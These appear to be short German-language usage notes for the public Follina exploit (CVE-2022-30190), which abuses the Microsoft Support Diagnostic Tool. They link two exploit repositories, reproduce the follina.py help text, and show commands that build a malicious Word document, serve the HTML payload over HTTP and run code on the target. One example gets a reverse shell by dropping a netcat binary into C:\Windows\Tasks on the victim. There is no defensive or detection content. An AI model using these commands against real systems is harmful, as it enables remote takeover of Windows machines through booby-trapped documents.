
Notes related to CVE-2022-30190
Anmerkungen zu CVE-2022-30190
FOLLINA: CVE-2022-30190
Verwendet Microsoft Support Diagnostic Tool (MSDT)
Nutzt das für die Diagnose geöffnete Diagnosefenster aus und gibt bei korrekter Ausführung dem Angreifer eine Reverse Shell.
Github: (a). https://github.com/JohnHammond/msdt-follina (b). https://github.com/chvancooten/follina.py
Dank an: (a). @_johnhammond (b). @networkchuck
Verwendung follina.py [-h] [--command COMMAND] [--output OUTPUT] [--interface INTERFACE] [--port PORT] options: -h, --help show this help message and exit --command COMMAND, -c COMMAND command to run on the target (default: calc) --output OUTPUT, -o OUTPUT output maldoc file (default: ./follina.doc) --interface INTERFACE, -i INTERFACE network interface or IP address to host the HTTP server (default: eth0) --port PORT, -p PORT port to serve the HTTP server (default: 8000)
Beispiele
(a). Calc.exe öffnen:
$ python3 follina.py
[+] copied staging doc /tmp/9mcvbrwo
[+] created maldoc ./follina.doc
[+] serving html payload on :8000
(b). Notepad.exe öffnen:
$ python3 follina.py -c "notepad"
(c). Eine Reverse Shell auf Port 9001 erhalten.
Hinweis: Dies lädt eine netcat-Binärdatei auf das Opfer herunter und platziert sie in C:\Windows\Tasks. Es bereinigt die Binärdatei nicht. Dies wird Antiviren-Erkennungen auslösen, es sei denn, AV ist deaktiviert.
$ python3 follina.py -r 9001